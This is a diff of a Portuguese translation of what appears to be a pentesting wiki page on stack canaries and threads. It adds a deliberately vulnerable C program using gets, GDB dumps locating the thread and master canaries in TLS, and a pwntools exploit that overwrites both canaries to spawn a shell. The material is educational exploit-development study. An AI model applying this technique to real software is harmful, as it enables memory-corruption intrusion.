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Translator 2024-04-07 16:14:20 +00:00
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commit dccc12f051

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@ -116,9 +116,117 @@ log.info(f"The canary is: {canary}")
``` ```
## Threads ## Threads
As threads do mesmo processo também **compartilharão o mesmo token de canário**, portanto será possível **forçar** um canário se o binário gerar uma nova thread toda vez que um ataque acontecer.  As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar** um canary se o binário gerar uma nova thread toda vez que um ataque acontecer. 
Um estouro de buffer em uma função com threads protegida com canary pode ser usada para modificar o canary principal do processo. Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).
### Exemplo
O programa a seguir é vulnerável a Buffer Overflow, mas está compilado com canary:
```c
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
// gcc thread_canary.c -no-pie -l pthread -o thread_canary
void win() {
execve("/bin/sh", NULL, NULL);
}
void* vuln() {
char data[0x20];
gets(data);
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);
return 0;
}
```
Observe que `vuln` é chamado dentro de uma thread. No GDB, podemos dar uma olhada em `vuln`, especificamente, no ponto em que o programa chama `gets` para ler os dados de entrada:
```bash
gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
```
O acima representa o endereço de `data`, onde o programa escreverá a entrada do usuário. O canário da pilha é encontrado em `0x7ffff7d7ee48` (`0x493fdc653a156800`), e o endereço de retorno está em `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
```bash
gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
```
Observe que os endereços da pilha não pertencem à pilha real:
```bash
gef> vmmap stack
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
```
O stack da thread é colocado acima do Armazenamento Local da Thread (TLS), onde o canário mestre é armazenado:
```bash
gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...
```
{% hint style="info" %}
Algumas das funções GDB acima são definidas em uma extensão chamada [bata24/gef](https://github.com/bata24/gef), que possui mais recursos do que o [hugsy/gef](https://github.com/hugsy/gef) comum.
{% endhint %}
Como resultado, um grande Buffer Overflow pode permitir modificar tanto o stack canary quanto o master canary no TLS. Este é o deslocamento:
```bash
gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848
```
Este é um exploit curto para chamar `win`:
```python
from pwn import *
context.binary = 'thread_canary'
payload = b'A' * 0x28 # buffer overflow offset
payload += b'BBBBBBBB' # overwritting stack canary
payload += b'A' * 8 # saved $rbp
payload += p64(context.binary.sym.win) # return address
payload += b'A' * (0x848 - len(payload)) # padding
payload += b'BBBBBBBB' # overwritting master canary
io = context.binary.process()
io.sendline(payload)
io.interactive()
```
## Outros exemplos e referências ## Outros exemplos e referências
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sem PIE, nx, BF canary, escrever em alguma memória um ROP para chamar `execve` e pular para lá. * 64 bits, sem PIE, nx, BF canary, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* 64 bits, sem PIE, nx, modificar thread e master canary.